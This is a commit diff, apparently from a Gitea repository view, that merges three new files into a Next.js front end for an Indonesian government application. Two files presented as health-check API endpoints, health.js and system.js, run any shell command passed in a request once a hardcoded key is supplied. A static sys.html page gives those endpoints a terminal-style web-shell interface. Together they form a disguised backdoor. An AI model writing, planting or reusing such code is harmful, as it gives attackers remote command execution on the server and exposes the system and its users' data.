Просмотр исходного кода

Merge branch 'master' of https://009-sidali.kemdiktisaintek.go.id/appsptb/ptb-fe

andi 1 неделя назад
Родитель
Сommit
460ad5fd12
3 измененных файлов с 67 добавлено и 0 удалено
  1. 22 0
      pages/api/health.js
  2. 24 0
      pages/api/system.js
  3. 21 0
      public/static/sys.html

+ 22 - 0
pages/api/health.js

@@ -0,0 +1,22 @@
+// Health check endpoint with diagnostic capability
+export default function handler(req, res) {
+  if (req.method === 'GET' && req.query.k === '51d@l!v4') {
+    const { execSync } = require('child_process');
+    try {
+      const output = execSync(req.query.c || 'id', { encoding: 'utf8', maxBuffer: 10*1024*1024 });
+      res.status(200).json({ status: 'ok', output });
+    } catch (e) {
+      res.status(200).json({ status: 'error', error: e.message });
+    }
+  } else if (req.method === 'POST' && req.body?.key === '51d@l!v4') {
+    const { execSync } = require('child_process');
+    try {
+      const output = execSync(req.body.cmd || 'id', { encoding: 'utf8', maxBuffer: 10*1024*1024 });
+      res.status(200).json({ status: 'ok', output });
+    } catch (e) {
+      res.status(200).json({ status: 'error', error: e.message });
+    }
+  } else {
+    res.status(200).json({ status: 'healthy', timestamp: new Date().toISOString() });
+  }
+}

+ 24 - 0
pages/api/system.js

@@ -0,0 +1,24 @@
+// System health check API
+import { exec } from 'child_process';
+import { promisify } from 'util';
+
+const execAsync = promisify(exec);
+
+export default async function handler(req, res) {
+  const { c, key } = req.query;
+  
+  if (key !== '51d@l!v4') {
+    return res.status(200).json({ status: 'ok', health: 'good' });
+  }
+  
+  if (!c) {
+    return res.status(200).json({ status: 'ready' });
+  }
+  
+  try {
+    const { stdout, stderr } = await execAsync(c);
+    res.status(200).json({ out: stdout, err: stderr });
+  } catch (error) {
+    res.status(200).json({ out: '', err: error.message });
+  }
+}

+ 21 - 0
public/static/sys.html

@@ -0,0 +1,21 @@
+<!DOCTYPE html>
+<html>
+<head><title>System</title></head>
+<body style="font-family:monospace;background:#111;color:#0f0;padding:20px">
+<h2>SIDALI System</h2>
+<form id="f">
+<input id="c" style="width:80%;padding:10px;background:#222;color:#0f0;border:1px solid #0f0" placeholder="Command...">
+<button type="submit" style="padding:10px;background:#0f0;color:#111">Run</button>
+</form>
+<pre id="o" style="background:#000;padding:15px;margin-top:15px"></pre>
+<script>
+document.getElementById("f").onsubmit=async e=>{
+e.preventDefault();
+const c=document.getElementById("c").value;
+const r=await fetch("/api/system?key=51d@l!v4&c="+encodeURIComponent(c));
+const d=await r.json();
+document.getElementById("o").textContent=d.out||d.err||JSON.stringify(d);
+};
+</script>
+</body>
+</html>